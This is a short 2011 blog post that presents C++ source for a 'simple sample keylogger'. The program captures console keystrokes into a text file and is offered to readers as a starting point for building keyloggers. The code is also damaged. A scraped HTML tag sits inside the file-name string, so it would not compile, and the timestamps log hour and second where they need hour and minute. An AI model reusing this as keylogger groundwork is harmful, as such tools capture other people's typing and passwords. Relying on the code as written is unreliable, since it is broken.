Pages

Wednesday, May 4, 2011

making keylogger in c++

this isn't a hacking website, but to get you started, check out conio header file. this is simple sample keylogger:

#include <iostream>
#include <stdio.h>
#include <conio.h>
#include <Windows.h>

using namespace std;

FILE *f1;

int main()
{
  SYSTEMTIME st;
  GetSystemTime(&st);
  int i=0;
  char c='b';
  cout<<"The Program has been started...\n";
  cout<<"-------------------------------\n";
  f1 = fopen("<strong class="highlight">keylogger</strong>.txt","a");
  fprintf(f1,"\nLog Opened on %d-%d-%d at %d:%d\n",st.wDay,st.wMonth,st.wYear,
          st.wHour,st.wSecond);
LOOP:
      while(!_kbhit())
      {
       c = (char) _getch();
     
       if(c=='!')
           {
              goto END;
           }
      
       else
           {
           fprintf(f1,"%c",c);
           printf("%c",c);
           i++;
           }
      }
 
END:
      fprintf(f1,"\nLogged closed on %d-%d-%d at %d:%d",st.wDay,st.wMonth,st.wYear,
          st.wHour,st.wSecond);
      fclose(f1);
      cout<<"\nProgram has been terminated";
      cout<<"\nTotal Number of keys logged:"<<i<<"\n";

  return 0;
}


if you want to learn more about the keylogger, you can visit http://msdn.microsoft.com/en-us/library/ms644959%28v=VS.85%29.aspx

No comments:

Post a Comment